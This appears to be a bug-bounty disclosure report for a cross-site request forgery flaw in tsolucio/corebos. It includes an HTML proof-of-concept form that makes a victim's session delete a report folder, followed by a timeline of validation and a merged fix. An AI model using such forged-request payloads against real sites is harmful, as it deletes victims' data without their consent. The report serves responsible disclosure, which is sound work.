Cross-Site Request Forgery (CSRF) in tsolucio/corebos


Reported on

Dec 23rd 2021


The lack of a CSRF token and validation of the request method gives the attacker the ability to delete DeleteReportFolder

Proof of Concept

  <script>history.pushState('', '', '/')</script>
    <form action="">
      <input type="hidden" name="action" value="ReportsAjax" />
      <input type="hidden" name="mode" value="ajax" />
      <input type="hidden" name="file" value="DeleteReportFolder" />
      <input type="hidden" name="module" value="Reports" />
      <input type="hidden" name="record" value="13" />
      <input type="submit" value="Submit request" />


The attacker has the ability to delete arbitrary report folders on behalf of the victim.

We are processing your report and will contact the tsolucio/corebos team within 24 hours. a month ago
We have contacted a member of the tsolucio/corebos team and are waiting to hear back a month ago
Joe Bordes validated this vulnerability a month ago
itsfading has been awarded the disclosure bounty
The fix bounty is now up for grabs
Joe Bordes confirmed that a fix has been merged on 6da824 a month ago
Joe Bordes has been awarded the fix bounty